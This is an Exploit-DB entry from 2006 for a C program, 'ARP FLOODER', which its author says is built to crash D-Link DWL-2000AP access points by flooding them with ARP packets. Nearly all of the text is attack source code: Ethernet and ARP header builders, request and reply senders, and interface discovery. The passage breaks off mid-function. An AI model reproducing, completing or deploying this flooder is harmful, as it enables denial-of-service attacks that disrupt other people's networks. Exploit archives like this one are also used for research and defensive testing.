Exploit-DB #2915
Description: D-Link DWL-2000AP 2.11 - ARP Flood Remote Denial of Service
Type: dos
Platform: hardware
Date: 2006-12-11
Author: poplix

Exploit:
/* 

ARP FLOODER v0.1 - poplix@papuasia.org  -  2006-12-04 
designed to crash D-LINK DWL-2000AP+

compile with: gcc arpflood.c -o arpflood


*/



#define _BSD_SOURCE 1
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <fcntl.h>
#include <errno.h>


#include <sys/ioctl.h>
#include <sys/param.h>//param.h defines BSD in bsd systems 
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>

#include <net/if.h>
#include <net/if_arp.h>
#include <net/route.h>

#ifdef BSD
#include <net/if_dl.h>
 #include <net/bpf.h>
#endif


#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <ifaddrs.h>



#ifdef BSD
#include <unistd.h>
#include <net/if_types.h>
#endif


#ifdef __linux__
#include <net/if_arp.h>
#include <linux/if_packet.h>
#endif

#ifndef DLT_EN10MB
#define DLT_EN10MB	1
#endif

#ifndef DLT_LOOP
#define DLT_LOOP	10
#endif

#ifndef DLT_PPP
#define DLT_PPP		9
#endif

#define ETHADDR_SIZE 6
#define ETHHDR_SIZE 14
#define ETHTYPE_IP 0x0800
#define ETHERTYPE_ARP 0x0806





#define SMALLOC(x,y){x=(y*)malloc(sizeof(y));\
						if( x == NULL){printf("malloc out of memory");\
						exit(9);}\
					}



#define CALLOC(x,y,z){ x=(y*)calloc(z,sizeof(y));if(x==NULL){\
	printf("calloc out of memory\n");\
	exit(9);}}

#define SSTRNCPY(dst,src,len){strncpy(dst,src,len-1); dst[len-1]=0;}
#define SSTRNCAT(dst,src,len)strncat(dst,src, len - strlen(dst) - 1);





#define ETHARP_PKT_SIZE 42 // eth + arpfixedsize + addresses size


#define FTYPE_REQ 1
#define FTYPE_REPLY 2




struct intf{
	char name[12];
	u_int index;
	int fd;
	u_int mtu;
	u_int type;
	
	u_int32_t ipaddr;
	u_int32_t netmask;
	
	u_char  l2addr[6];
	u_int	l2addr_size;
	u_int	l2hdr_size;
	
};




struct intf out_intf;




u_int ip_to_int(char *ip, int *err){
  char *inv,*s;
  u_char ret[4];
  int a;
  u_int tmp;
	
	if(ip == NULL || strlen(ip) < 7) return 0;
	s=ip;
	for( a=0; a < 4; a++){
  		tmp=strtoul(s,&inv,10);
  		if( (*inv != '.' && *inv!=0) || tmp < 0 || tmp > 255 ) {
  			if(err != NULL)*err=1;
  			return 0;
  		}
  		ret[a]=tmp;
  		s=++inv;
	}
	
	if(err != NULL)*err=0;
	return *((u_int*)ret);

}


int str_to_macaddr(char *str, u_char *dst){
  char *inv,*s;
  int a;
  u_int tmp;
	
	if(str == NULL || strlen(str) < 11) return 0;
	s=str;
	for( a=0; a < 6; a++){
  		tmp=strtoul(s,&inv,16);
  		if( (*inv != ':' && *inv!=0) || tmp < 0x00 || tmp > 0xff ) 
  			return 0;
  		
  		dst[a]=tmp;
  		s=++inv;
	}
	
	
	return 1;

}



char *int_to_ip(u_int32_t ip){
	u_char *tmp=(u_char *)&ip;
	static char ret[16];
	memset(ret,0,sizeof(ret));
	sprintf(ret,"%u.%u.%u.%u",tmp[0] & 0xff,tmp[1] & 0xff,tmp[2] & 0xff,tmp[3] & 0xff);
	return ret;
	
}


char *macaddr_to_str(u_char *mac){
	static char ret[18];
	memset(ret,0,sizeof(ret));
	sprintf(ret,"%02x:%02x:%02x:%02x:%02x:%02x",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]);
	return ret;
	
}








int build_ether_hdr(u_char *dst, u_char* src,u_short type,u_char* dstbuff){
  memcpy(dstbuff,dst,ETHADDR_SIZE);
  memcpy(dstbuff+6,src,ETHADDR_SIZE);
  
  *( (u_short*)(dstbuff+12) ) = htons(type);
  
  return 1;
	
}




int build_arp_hdr(u_char *hdst,u_int32_t pdst,u_char* hsrc,u_int32_t psrc,u_short arpop,u_char* dstbuff){
  struct arphdr* hdr= (struct arphdr*)dstbuff;
  u_int off;
  
	hdr->ar_hrd=htons(ARPHRD_ETHER);
  	hdr->ar_pro=htons(ETHTYPE_IP);
  	hdr->ar_hln=ETHADDR_SIZE;
  	hdr->ar_pln=4;
  	hdr->ar_op=htons(arpop);
  	
  	off=8;
  	
  	memcpy(dstbuff + off,hsrc,ETHADDR_SIZE);
	off+=ETHADDR_SIZE;
	
	memcpy(dstbuff + off,(u_char*)&psrc,4);
	off+=4,
	
  	memcpy(dstbuff + off,hdst,ETHADDR_SIZE);
  	off+=ETHADDR_SIZE;
  	
	memcpy(dstbuff + off,(u_char*)&pdst,4);
  	
  	return 1;
}



int arp_request(u_int32_t ripaddr,u_int32_t ipsrc,u_char *macsrc){
  u_char arpbuff[ETHARP_PKT_SIZE]; 

	if(macsrc==NULL)macsrc=out_intf.l2addr;
	if(ipsrc==0)ipsrc=out_intf.ipaddr;
	build_ether_hdr((u_char*)"\xff\xff\xff\xff\xff\xff",macsrc,ETHERTYPE_ARP,arpbuff);
	
	build_arp_hdr((u_char*)"\x0\x0\x0\x0\x0\x0",
					ripaddr,
					macsrc,
					ipsrc,
					ARPOP_REQUEST,
					arpbuff + ETHHDR_SIZE
					);
					
	write_link(&out_intf,arpbuff,sizeof(arpbuff));

	return 1;
}




int arp_reply(u_int32_t ipdst,u_char *dstmac,u_int32_t ipsrc,u_char *srcmac){
   u_char arpbuff[ETHHDR_SIZE + ETHARP_PKT_SIZE];
	
	if(srcmac==NULL)srcmac=out_intf.l2addr;
	
	build_ether_hdr(dstmac, srcmac, ETHERTYPE_ARP, arpbuff);
	build_arp_hdr(dstmac, ipdst, srcmac, ipsrc, ARPOP_REPLY, arpbuff+ETHHDR_SIZE);
	write_link(&out_intf,arpbuff,sizeof(arpbuff));

	return 1;
}




#ifdef BSD

int getifinfo(char *name,struct intf *iface){
   struct ifaddrs *ifap, *ifa;
   int find=0;
	
   int mib[]={CTL_NET,AF_ROUTE,0,AF_LINK,NET_RT_IFLIST,0};
   size_t len;
   u_char *buff, *next, *end;
   struct if_msghdr *ifm;
   struct sockaddr_dl *sdl;


	// get the list 
	if(getifaddrs(&ifap) < 0) return 0;
	
	if(!ifap) return 0; 
	//nota che ogni inf compare due volte in lista, una volta come AF_LINK e una AF_INET
	for(ifa = ifap; ifa; ifa = ifa->ifa_next)
	 if(!strcmp(name,ifa->ifa_name)){
	 	//copy only the first time
	 	if(find==0){
	 		memset(iface->name,0,sizeof(iface->name));
	 		SSTRNCPY(iface->name,name,sizeof(iface->name));
	 	}
	 	find=1;
		if(ifa->ifa_addr->sa_family == AF_LINK){
			iface->mtu=((struct if_data*)ifa->ifa_data)->ifi_mtu;
			
			switch(((struct if_data*)ifa->ifa_data)->ifi_type){
				case IFT_ETHER:
					iface->type=DLT_EN10MB;
					iface->l2hdr_size=ETHHDR_SIZE;
					break;
				case IFT_GIF:
				case IFT_LOOP:
					iface->type=DLT_LOOP;
					iface->l2hdr_size=0;
					break;
				case IFT_PPP:
					iface->typ